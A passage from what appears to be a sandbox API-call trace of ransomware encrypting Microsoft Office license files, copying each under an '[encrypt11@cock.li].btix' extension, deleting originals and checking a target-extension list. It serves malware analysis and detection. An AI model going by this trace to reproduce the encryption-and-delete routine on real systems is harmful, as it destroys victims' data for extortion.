lpNumberOfBytesWritten=0x38cfc94*=0x2980, lpOverlapped=0x0) returned 1 [0142.530] ReadFile (in: hFile=0x530, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0142.530] WriteFile (in: hFile=0x3bc, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x100, lpOverlapped=0x0) returned 1 [0142.530] SetEndOfFile (hFile=0x3bc) returned 1 [0142.530] CloseHandle (hObject=0x3bc) returned 1 [0142.530] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.530] SetEndOfFile (hFile=0x530) returned 1 [0142.533] CloseHandle (hObject=0x530) returned 1 [0142.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 1 [0142.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0142.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0142.535] lstrlenW (lpString=".doc") returned 4 [0142.535] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.535] lstrlenW (lpString=".docx") returned 5 [0142.535] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.535] lstrlenW (lpString=".pdf") returned 4 [0142.535] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.535] lstrlenW (lpString=".xls") returned 4 [0142.535] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.535] lstrlenW (lpString=".xlsx") returned 5 [0142.535] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.535] lstrlenW (lpString=".ppt") returned 4 [0142.535] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0142.535] lstrlenW (lpString=".zip") returned 4 [0142.535] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.535] lstrlenW (lpString=".rar") returned 4 [0142.535] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.535] lstrlenW (lpString=".bz2") returned 4 [0142.535] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.535] lstrlenW (lpString=".7z") returned 3 [0142.535] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0142.535] lstrlenW (lpString=".dbf") returned 4 [0142.536] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0142.536] lstrlenW (lpString=".1cd") returned 4 [0142.536] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0142.536] lstrlenW (lpString=".jpg") returned 4 [0142.536] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.563] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=19926) returned 1 [0142.563] CloseHandle (hObject=0x564) returned 1 [0142.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220 [0142.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0142.564] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.564] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0142.565] GetLastError () returned 0x0 [0142.565] ReadFile (in: hFile=0x564, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x4dd6, lpOverlapped=0x0) returned 1 [0142.607] WriteFile (in: hFile=0x568, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0142.608] ReadFile (in: hFile=0x564, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0142.608] WriteFile (in: hFile=0x568, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x108, lpOverlapped=0x0) returned 1 [0142.609] SetEndOfFile (hFile=0x568) returned 1 [0142.911] CloseHandle (hObject=0x568) returned 1 [0142.911] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.911] SetEndOfFile (hFile=0x564) returned 1 [0142.915] CloseHandle (hObject=0x564) returned 1 [0142.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 1 [0142.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0142.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0142.916] lstrlenW (lpString=".doc") returned 4 [0142.916] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.916] lstrlenW (lpString=".docx") returned 5 [0142.916] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.916] lstrlenW (lpString=".pdf") returned 4 [0142.916] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.916] lstrlenW (lpString=".xls") returned 4 [0142.916] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.916] lstrlenW (lpString=".xlsx") returned 5 [0142.916] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.916] lstrlenW (lpString=".ppt") returned 4 [0142.916] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0142.917] lstrlenW (lpString=".zip") returned 4 [0142.917] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.917] lstrlenW (lpString=".rar") returned 4 [0142.917] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.917] lstrlenW (lpString=".bz2") returned 4 [0142.917] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.917] lstrlenW (lpString=".7z") returned 3 [0142.917] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0142.917] lstrlenW (lpString=".dbf") returned 4 [0142.917] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0142.917] lstrlenW (lpString=".1cd") returned 4 [0142.917] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0142.917] lstrlenW (lpString=".jpg") returned 4 [0142.917] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.917] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=20841) returned 1 [0142.917] CloseHandle (hObject=0x564) returned 1 [0142.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220 [0142.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0142.919] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.919] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0142.919] GetLastError () returned 0x0 [0142.919] ReadFile (in: hFile=0x564, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x5169, lpOverlapped=0x0) returned 1 [0142.933] WriteFile (in: hFile=0x568, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x5170, lpOverlapped=0x0) returned 1 [0142.934] ReadFile (in: hFile=0x564, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0142.934] WriteFile (in: hFile=0x568, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x102, lpOverlapped=0x0) returned 1 [0142.935] SetEndOfFile (hFile=0x568) returned 1 [0142.942] CloseHandle (hObject=0x568) returned 1 [0142.945] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.945] SetEndOfFile (hFile=0x564) returned 1 [0142.956] CloseHandle (hObject=0x564) returned 1 [0142.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 1 [0143.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0143.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0143.396] lstrlenW (lpString=".doc") returned 4 [0143.396] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.396] lstrlenW (lpString=".docx") returned 5 [0143.396] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.396] lstrlenW (lpString=".pdf") returned 4 [0143.396] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.396] lstrlenW (lpString=".xls") returned 4 [0143.396] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.396] lstrlenW (lpString=".xlsx") returned 5 [0143.396] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.396] lstrlenW (lpString=".ppt") returned 4 [0143.396] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0143.396] lstrlenW (lpString=".zip") returned 4 [0143.396] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.396] lstrlenW (lpString=".rar") returned 4 [0143.396] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.396] lstrlenW (lpString=".bz2") returned 4 [0143.396] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.396] lstrlenW (lpString=".7z") returned 3 [0143.396] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0143.396] lstrlenW (lpString=".dbf") returned 4 [0143.396] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0143.396] lstrlenW (lpString=".1cd") returned 4 [0143.396] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0143.397] lstrlenW (lpString=".jpg") returned 4 [0143.397] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.933] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0143.933] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0143.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0143.934] GetLastError () returned 0x0 [0143.934] ReadFile (in: hFile=0x3b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x4dcf, lpOverlapped=0x0) returned 1 [0143.951] WriteFile (in: hFile=0x370, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x4dd0, lpOverlapped=0x0) returned 1 [0143.952] ReadFile (in: hFile=0x3b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0143.952] WriteFile (in: hFile=0x370, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x10a, lpOverlapped=0x0) returned 1 [0143.952] SetEndOfFile (hFile=0x370) returned 1 [0143.952] CloseHandle (hObject=0x370) returned 1 [0143.952] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0143.952] SetEndOfFile (hFile=0x3b0) returned 1 [0143.955] CloseHandle (hObject=0x3b0) returned 1 [0143.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 1 [0143.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0143.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0143.956] lstrlenW (lpString=".doc") returned 4 [0143.956] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.956] lstrlenW (lpString=".docx") returned 5 [0143.956] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.956] lstrlenW (lpString=".pdf") returned 4 [0143.956] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.956] lstrlenW (lpString=".xls") returned 4 [0143.956] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.956] lstrlenW (lpString=".xlsx") returned 5 [0143.956] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.956] lstrlenW (lpString=".ppt") returned 4 [0143.956] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0143.956] lstrlenW (lpString=".zip") returned 4 [0143.956] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.956] lstrlenW (lpString=".rar") returned 4 [0143.956] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.956] lstrlenW (lpString=".bz2") returned 4 [0143.956] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.956] lstrlenW (lpString=".7z") returned 3 [0143.956] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0143.956] lstrlenW (lpString=".dbf") returned 4 [0143.956] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0143.956] lstrlenW (lpString=".1cd") returned 4 [0143.956] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0143.956] lstrlenW (lpString=".jpg") returned 4 [0143.956] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.957] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10619) returned 1 [0143.957] CloseHandle (hObject=0x3b0) returned 1 [0143.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220 [0143.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0143.957] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0143.957] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0143.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0143.979] GetLastError () returned 0x0 [0143.979] ReadFile (in: hFile=0x3b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x297b, lpOverlapped=0x0) returned 1 [0143.985] WriteFile (in: hFile=0x370, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x2980, lpOverlapped=0x0) returned 1 [0143.986] ReadFile (in: hFile=0x3b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0143.986] WriteFile (in: hFile=0x370, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xfe, lpOverlapped=0x0) returned 1 [0143.986] SetEndOfFile (hFile=0x370) returned 1 [0143.991] CloseHandle (hObject=0x370) returned 1 [0143.996] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0143.996] SetEndOfFile (hFile=0x3b0) returned 1 [0144.002] CloseHandle (hObject=0x3b0) returned 1 [0144.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 1 [0144.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0144.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0144.038] lstrlenW (lpString=".doc") returned 4 [0144.038] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.038] lstrlenW (lpString=".docx") returned 5 [0144.038] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.038] lstrlenW (lpString=".pdf") returned 4 [0144.038] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.038] lstrlenW (lpString=".xls") returned 4 [0144.038] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.038] lstrlenW (lpString=".xlsx") returned 5 [0144.038] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.038] lstrlenW (lpString=".ppt") returned 4 [0144.038] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0144.038] lstrlenW (lpString=".zip") returned 4 [0144.038] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.038] lstrlenW (lpString=".rar") returned 4 [0144.038] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.038] lstrlenW (lpString=".bz2") returned 4 [0144.038] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.038] lstrlenW (lpString=".7z") returned 3 [0144.038] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0144.038] lstrlenW (lpString=".dbf") returned 4 [0144.038] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0144.038] lstrlenW (lpString=".1cd") returned 4 [0144.038] lstrcmpiW 